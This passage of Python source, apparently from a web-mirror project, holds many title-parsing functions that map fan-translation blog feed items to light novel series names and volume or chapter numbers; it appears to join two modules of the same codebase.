	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKrytyksTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNovelCow(item):
	'''
	# 'NovelCow'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLylisTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Unicorn Legion:' in item['title']:
		postfix = item['title'].split(":", 1)[-1]
		return buildReleaseMessage(item, 'The Unicorn Legion', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractHeroicNovels(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Dragon Order of Flame' in item['tags']:
		return buildReleaseMessage(item, 'Dragon Order of Flame', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('The Hero Volume'):
		return buildReleaseMessage(item, 'The Hero', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Metatron Volume'):
		return buildReleaseMessage(item, 'Metatron', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractHonyaku(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'OVRMMO' in item['tags']:
		return buildReleaseMessage(item, 'Toaru Ossan no VRMMO Katsudouki (WN)', vol, chp, frag=frag, postfix=postfix)
	if 'VendM' in item['tags']:
		return buildReleaseMessage(item, 'Jidou Hanbaiki ni Umarekawatta ore wa Meikyuu o Samayou', vol, chp, frag=frag, postfix=postfix)
	if 'Wfb' in item['tags']:
		return buildReleaseMessage(item, 'Wizard with the flower blades', vol, chp, frag=frag, postfix=postfix, tl_type="oel")
	if 'OriginStory' in item['tags']:
		return buildReleaseMessage(item, 'OriginStory the VRMMO: The advent of AxeBear', vol, chp, frag=frag, postfix=postfix, tl_type="oel")
	return False

def  extractNotDailyTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Zombie Emperor' in item['tags']:
		return buildReleaseMessage(item, 'The Bloodshot One-Eyed Zombie Emperor', vol, chp, frag=frag, postfix=postfix)
	if "Stealing Hero's Lovers" in item['tags']:
		return buildReleaseMessage(item, "Stealing Hero's Lovers", vol, chp, frag=frag, postfix=postfix)
	if 'Nidome no Yuusha' in item['tags']:
		return buildReleaseMessage(item, 'Nidome no Yuusha wa Fukushuu no Michi wo Warai Ayumu. ~Maou yo, Sekai no Hanbun wo Yaru Kara Ore to Fukushuu wo Shiyou~', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractMythicalPagoda(item):
	'''
	# 'Mythical Pagoda'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKisatosMLTs(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLorCromwell(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractMiaomix539(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	titleclean = item['title'].lower().replace("“", "").replace("”", "")
	if not (chp or vol) or "preview" in titleclean:
		return False

	if "death march" in titleclean:
		extract = re.search(r'Death March ((\d+)\-(.+?).*)', titleclean, flags=re.IGNORECASE)
		if extract:
			try:
				postfix = extract.group(1)
				vol = int(extract.group(2))
				chp = int(extract.group(3))
				return buildReleaseMessage(item, 'Death March kara Hajimaru Isekai Kyusoukyoku (LN)', vol, chp, postfix=postfix)
			except ValueError:
				return False

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractMaounaAnokotomurabitoa(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKuroTranslations(item):
	'''
	# 'Kuro Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuLoveYou(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractJoiedeVivre(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNinjaNUF(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractHikkinoMoriTranslations(item):
	'''
	# 'Hikki no Mori Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if item['title'].lower().startswith("chapter") or \
		item['title'].lower().startswith("hyaku ma no shu"):
		return buildReleaseMessage(item, 'Hyaku ma no Shu', vol, chp, frag=frag, postfix=postfix)

	return False

def  extractMidnightTranslationBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractKawaiiDaikon(item):
	'''
	# 'Kawaii Daikon'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractIsolarium(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLightNoveltranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractJanukeTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].lower().startswith("internet "):
		return buildReleaseMessage(item, 'Internet cheat', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractMousouHaven(item):
	'''
	# 'Mousou Haven'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractLordofScrubs(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractNanoDesuGJBu(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractHalfElementMasterTranslation(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractLoveMeIfYouDare(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractMineralWaterTranslation(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def extractHugsAndLove(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if not postfix and ":" in item['title']:
		postfix = item['title'].split(":", 1)[-1]

	if 'Felicia Second Life' in item['tags']:
		return buildReleaseMessage(item, 'Felicia Second Life', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'the rock' in item['tags']:
		return buildReleaseMessage(item, 'The Rock', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if item['title'].startswith("Armageddon"):
		return buildReleaseMessage(item, "Armageddon", vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False


def extractHiohbyeTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'The Corpse King Confuses the World, All Seven Husbands Are Devils' in item['tags']:
		return buildReleaseMessage(item, 'The Corpse King Confuses the World, All Seven Husbands Are Devils', vol, chp, frag=frag, postfix=postfix)
	return False
def extractLevityTales(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith('Overthrowing Fate'):
		return buildReleaseMessage(item, 'Overthrowing Fate', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Ancient Godly Monarch'):
		return buildReleaseMessage(item, 'Ancient Godly Monarch', vol, chp, frag=frag, postfix=postfix)
	if 'Chaotic Lightning Cultivation' in item['tags']:
		return buildReleaseMessage(item, 'Chaotic Lightning Cultivation', vol, chp, frag=frag, postfix=postfix)
	if 'Overthrowing Fate' in item['tags']:
		return buildReleaseMessage(item, 'Overthrowing Fate', vol, chp, frag=frag, postfix=postfix)

	return False
def extractLightNovelCafe(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Evolution Theory of the Hunter' in item['tags']:
		return buildReleaseMessage(item, 'Evolution Theory of the Hunter', vol, chp, frag=frag, postfix=postfix)
	if "God's Song" in item['tags']:
		return buildReleaseMessage(item, "God's Song", vol, chp, frag=frag, postfix=postfix)
	if 'Life Mission' in item['tags']:
		return buildReleaseMessage(item, 'Life Mission', vol, chp, frag=frag, postfix=postfix)
	return False
def extractMyoniyoniTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Top Management' in item['tags']:
		return buildReleaseMessage(item, 'Top Management', vol, chp, frag=frag, postfix=postfix)
	if 'The King of the Battlefield' in item['tags']:
		return buildReleaseMessage(item, 'The King of the Battlefield', vol, chp, frag=frag, postfix=postfix)
	if 'Sovereign of Judgement' in item['tags']:
		return buildReleaseMessage(item, 'Sovereign of Judgement', vol, chp, frag=frag, postfix=postfix)
	return False
def extractNoNameTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractNoobMtl(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractNovelsChill(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith('EIF'):
		return buildReleaseMessage(item, 'Everlasting Immortal Firmament', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('FiLI'):
		return None  # Manhua
	if item['title'].startswith('TSM'):
		return buildReleaseMessage(item, 'The Skill Maker', vol, chp, frag=frag, postfix=postfix)
	if 'Aoa' in item['tags']:
		return buildReleaseMessage(item, 'Ace of Ace', vol, chp, frag=frag, postfix=postfix)
	if 'EER' in item['tags']:
		return buildReleaseMessage(item, 'Everyone Else is a Returnee', vol, chp, frag=frag, postfix=postfix)
	if 'TMoS' in item['tags']:
		return buildReleaseMessage(item, 'The Master of Strength', vol, chp, frag=frag, postfix=postfix)
	if 'CE' in item['tags']:
		return buildReleaseMessage(item, 'Chaotic Emperor', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'EoSP' in item['tags']:
		return buildReleaseMessage(item, 'Emperor of Solo Play', vol, chp, frag=frag, postfix=postfix)
	return False


def extractHeavensJusticeTranslation(item):
	"""
	Heavens Justice Translation
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractIBallisticBunnies(item):
	"""
	I Ballistic Bunnies
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractIdyllicTranslations(item):
	"""
	Idyllic Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Dragon Long Long' in item['tags']:
		return buildReleaseMessage(item, 'Dragon Long Long', vol, chp, frag=frag, postfix=postfix)
	return False
def extractIncarneous(item):
	"""
	Incarneous
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractJenPressTranslation(item):
	"""
	Jen Press Translation
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractJeruTzsBlog(item):
	"""
	JeruTz\'s Blog
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractJuJuTranslation(item):
	"""
	JuJu Translation
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractKaguroJp(item):
	"""
	Kaguro Jp
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractKaisTranslations(item):
	"""
	Kai\'s Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractKencephalonTranslations(item):
	"""
	Kencephalon Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractKiriharaMaya(item):
	"""
	Kirihara Maya
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractKnightFantasticNightTranslations(item):
	"""
	Knight Fantastic Night Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "RAW" in item['title']:
		return False
	if 'Knight Fantastic Night' in item['tags']:
		return buildReleaseMessage(item, 'Knight Fantastic Night', vol, chp, frag=frag, postfix=postfix)
	if 'The Bride of The Serpent Prince' in item['tags']:
		return buildReleaseMessage(item, 'The Bride of The Serpent Prince', vol, chp, frag=frag, postfix=postfix)
	return False
def extractKudarajin(item):
	"""
	Kudarajin
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'I Appear to have been Reincarnated as a Love Interest in an Otome Game' in item['tags'] or item['title'].startswith("I Appear to have been Reincarnated as a Love Interest in an Otome Game: "):
		return buildReleaseMessage(item, 'I Appear to have been Reincarnated as a Love Interest in an Otome Game', vol, chp, frag=frag, postfix=postfix)
	if 'Hokuou Kizoku to Moukinzuma no Yukiguni Karigurashi' in item['tags'] or item['title'].startswith("Hokuou Kizoku to Moukinzuma no Yukiguni Karigurashi:"):
		return buildReleaseMessage(item, 'Hokuou Kizoku to Moukinzuma no Yukiguni Karigurashi', vol, chp, frag=frag, postfix=postfix)
	return False
def extractL3D(item):
	"""
	L3D
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractLakisLaboratory(item):
	"""
	Laki\'s Laboratory
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractLandofLightNovels(item):
	"""
	Land of Light Novels
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith('C3'):
		return buildReleaseMessage(item, 'Cube x Cursed x Curious', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Chrome Shelled Regios'):
		return buildReleaseMessage(item, 'Chrome Shelled Regios', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Utsuro no Hako to Zero no Maria'):
		return buildReleaseMessage(item, 'Utsuro no Hako to Zero no Maria', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Seirei Tsukai no Blade Dance'):
		return buildReleaseMessage(item, 'Seirei Tsukai no Blade Dance', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Baka to test'):
		return buildReleaseMessage(item, 'Baka to Test', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Tokyo Ravens'):
		return buildReleaseMessage(item, 'Tokyo Ravens', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('The Zashiki Warashi of Intellectual Village'):
		return buildReleaseMessage(item, 'The Zashiki Warashi of Intellectual Village', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Overlord'):
		return buildReleaseMessage(item, 'Overlord', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Mahouka Koukou no Rettousei'):
		return buildReleaseMessage(item, 'Mahouka Koukou no Rettousei', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('To aru New Testament'):
		return buildReleaseMessage(item, 'To Aru Majutsu no Index: New Testament', vol, chp, frag=frag, postfix=postfix)
	return False
def extractLeecherVamparisTranslations(item):
	"""
	Leecher Vamparis Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractLegendoftheEvilGod(item):
	"""
	Legend of the Evil God
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractLegionsRealm(item):
	"""
	Legions Realm
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractLightNovelsWorld(item):
	"""
	Light Novels World
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractLoathsomeTranslations(item):
	"""
	Loathsome Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractLuminstia(item):
	"""
	Luminstia
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractMageLife(item):
	"""
	Mage Life
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractMagictrans(item):
	"""
	Magictrans
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Release that Witch' in item['tags']:
		return buildReleaseMessage(item, 'Release that Witch', vol, chp, frag=frag, postfix=postfix)
	return False
def extractMartialDao(item):
	"""
	Martial Dao
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if item['title'].startswith('Awakening Chap'):
		return buildReleaseMessage(item, 'Awakening', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Shadow Rogue'):
		return buildReleaseMessage(item, 'Shadow Rogue', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('The Almight Martial Arts System Chap') or item['title'].startswith('The Almighty Martial Arts System Chap'):
		return buildReleaseMessage(item, 'The Almighty Martial Arts System', vol, chp, frag=frag, postfix=postfix)
	return False
def extractMistyCloudTranslations(item):
	"""
	Misty Cloud Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Genius Doctor: Black Belly Miss' in item['tags']:
		return buildReleaseMessage(item, 'Genius Doctor: Black Belly Miss', vol, chp, frag=frag, postfix=postfix)
	return False
def extractMountainofPigeonsTranslations(item):
	"""
	Mountain of Pigeons Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractMTNovels(item):
	"""
	MT Novels
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractMyEngTranslation(item):
	"""
	MyEngTranslation
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractNadenadeshitai(item):
	"""
	Nadenadeshitai
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith("Command Chapter "):
		return buildReleaseMessage(item, 'Command Sousa Skill de, Isekai no Subete wo Kage kara Shihaishitemita', vol, chp, frag=frag, postfix=postfix)
	return False
def extractNexSerus(item):
	"""
	Nex Serus
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False







# pylint: disable=C0112,R0911,R0912,W0612


from WebMirror.OutputFilters.util.MessageConstructors import buildReleaseMessage
from WebMirror.OutputFilters.util.TitleParsers import extractChapterVol
from WebMirror.OutputFilters.util.TitleParsers import extractChapterVolFragment
from WebMirror.OutputFilters.util.TitleParsers import extractVolChapterFragmentPostfix

import re

####################################################################################################################################################
def extractSousetsuka(item):
	'''
	# Sousetsuka
	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Desumachi' in item['tags'] or 'Death March kara Hajimaru Isekai Kyousoukyoku' in item['title']:

		extract = re.search(r'Kyousoukyoku (\d+)\-(\d+)', item['title'])
		if extract and not vol:
			vol = int(extract.group(1))
			chp = int(extract.group(2))
		return buildReleaseMessage(item, "Death March kara Hajimaru Isekai Kyousoukyoku", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractSpiritGodShura(item):
	'''
	# Sousetsuka
	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if item['title'].startswith("Chapter") and item['tags'] == ['Chapters']:
		if ":" in item['title'] and not postfix:
			postfix = item['title'].split(":")[-1]
		return buildReleaseMessage(item, 'Spirit God Shura', vol, chp, postfix=postfix, tl_type='oel')
	return False



####################################################################################################################################################
def extractOniichanyamete(item):
	'''
	お兄ちゃん、やめてぇ！ / Onii-chan Yamete
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if       'Jashin Average'   in item['title'] \
			or 'Cthulhu Average'  in item['title'] \
			or 'Evil God Average' in item['tags']  \
			or 'jashin'           in item['tags']:

		return buildReleaseMessage(item, 'Evil God Average', vol, chp, frag=frag, postfix=postfix)


	if 'Haunted' in item['tags']:
		return buildReleaseMessage(item, 'Haunted Duke’s Daughter', vol, chp, postfix=postfix)


	if 'Tilea’s Worries' in item['title']:
		return buildReleaseMessage(item, 'Tilea\'s Worries', vol, chp, postfix=postfix)
	if 'Tilea' in item['tags'] and 'Raid on the Capital' in item['title'] and not vol:
		return buildReleaseMessage(item, 'Tilea\'s Worries', 2, chp, postfix=postfix)
	if 'Tilea' in item['tags'] and 'Turf War' in item['title'] and not vol:
		return buildReleaseMessage(item, 'Tilea\'s Worries', 3, chp, postfix=postfix)


	if 'Kenkyo Kenjitu' in item['tags'] or 'Reika-sama' in item['title']:
		return buildReleaseMessage(item, 'Kenkyo Kenjitu', vol, chp, postfix=postfix)

	if 'My Sister the Heroine and I the Villainess' in item['tags']:
		return buildReleaseMessage(item, 'My Sister the Heroine, and I the Villainess', vol, chp, postfix=postfix)
	if 'Vampire Nap' in item['tags']:
		return buildReleaseMessage(item, 'The Reincarnated Vampire Wants an Afternoon Nap', vol, chp, postfix=postfix)

	if 'The Bathroom Goddess' in item['tags']:
		return buildReleaseMessage(item, 'The Bathroom Goddess', vol, chp, postfix=postfix)
	if 'a wild boss appeared' in item['tags']:
		return buildReleaseMessage(item, 'A Wild Boss Appeared', vol, chp, postfix=postfix)
	if 'The Girl Who Bore the Flame Ring' in item['tags']:
		return buildReleaseMessage(item, 'The Girl Who Bore the Flame Ring', vol, chp, postfix=postfix)
	if 'Debt Girl' in item['tags']:
		return buildReleaseMessage(item, 'The Noble Girl Living in Debt', vol, chp, postfix=postfix)

	if 'I’m Back in the Other World' in item['title']:
		return buildReleaseMessage(item, 'I\'m Back in the Other World', vol, chp)

	if 'Kazuha Axeplant’s Third Adventure:' in item['title']:
		return buildReleaseMessage(item, 'Kazuha Axeplant\'s Third Adventure', vol, chp)

	if "I'm the Final Boss!?" in item['tags']:
		return buildReleaseMessage(item, "I'm the Final Boss!?", vol, chp, tl_type='oel')
	if 'Tiger Story' in item['tags']:
		return buildReleaseMessage(item, "Tiger Story", vol, chp, tl_type='oel')

	elif 'otoburi' in item['tags'] or 'Otoburi' in item['tags']:
		# Arrrgh, the volume/chapter structure for this series is a disaster!
		# I resent having to do this....
		volume_lut = {
			# Child Chapter
			"3 years old"                  : 1,
			"5 years old"                  : 1,
			"6 years old"                  : 1,
			"7 years old"                  : 1,
			"12 years old"                 : 1,
			"14 years old"                 : 1,
			"15 years old"                 : 1,
			"16 years old"                 : 1,

			# Academy Chapter (First Year First Semester)
			"School Entrance Ceremony"     : 2,
			"First Year First Semester"    : 2,
			"1st Year 1st Semester"        : 2,

			# Academy Chapter (Summer Vacation)
			"Summer Vacation"              : 3,
			"Summer Vacation 2nd Half"     : 3,
			"Summer Vacation Last"         : 3,

			# Academy Chapter (First Year Second Semester)
			"First Year Second Semester"   : 4,

			# Job Chapter
			"Recuperating?"                : 5,
			"Wedding Preparations?"        : 5,
			"Newlywed Life"                : 5,

			# Major Cleanup Chapter
			"Cleanup"                      : 6,
			"My Lord’s Engagement"         : 6,
			"The Winter is Almost Here"    : 6,
			"Experiments and Preparations" : 6,
			"Engagement Party"             : 6,

			# Dilemma Chapter
			"In the Middle of a Fight?"    : 7,
			"In the Middle of Reflecting"  : 7,
		}

		for chp_key in volume_lut.keys():
			if chp_key.lower() in item['title'].lower():
				return buildReleaseMessage(item, 'Otome Game no Burikko Akuyaku Onna wa Mahou Otaku ni Natta', volume_lut[chp_key], chp)

	# else:
	# 	# self.log.warning("Cannot decode item:")
	# 	# self.log.warning("%s", item['title'])
	# 	# self.log.warning("Cannot decode item: '%s'", item['title'])
	return False




####################################################################################################################################################
def extractTheLazy9(item):
	'''
	# TheLazy9
	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'かんすとっぷ！(KANSUTOPPU)' in item['tags'] or "Kansutoppu!" in item['title']:
		return buildReleaseMessage(item, "Kansutoppu!", vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("Manowa"):
		return buildReleaseMessage(item, "Manowa Mamono Taosu Nouryoku Ubau Watashi Tsuyokunaru", vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("Cat "):
		return buildReleaseMessage(item, "Me and My Beloved Cat (Girlfriend)", vol, chp, frag=frag, postfix=postfix)
	if 'Goblin Tenseiki ~erufu youjo ni kaku de maketeru yuusha na ore~' in item['tags']:
		return buildReleaseMessage(item, 'Goblin Tenseiki ~erufu youjo ni kaku de maketeru yuusha na ore~', vol, chp, frag=frag, postfix=postfix)
	if "Black Knight" in item['title']:
		return buildReleaseMessage(item, "The Black Knight Who Was Stronger than even the Hero", vol, chp, frag=frag, postfix=postfix)
	if "Astarte’s Knight" in item['title']:
		return buildReleaseMessage(item, "Astarte's Knight", vol, chp, frag=frag, postfix=postfix)
	if "HTG:" in item['title']:
		return buildReleaseMessage(item, "Tozoku shoujo ni tensei shita ore no shimei wa yuusha to maou ni iyagarasena no!", vol, chp, frag=frag, postfix=postfix)

	return False



####################################################################################################################################################
def extractPikaTranslations(item):
	'''
	# Pika Translations

	'''
	chp, vol = extractChapterVol(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Close Combat Mage' in item['tags'] or \
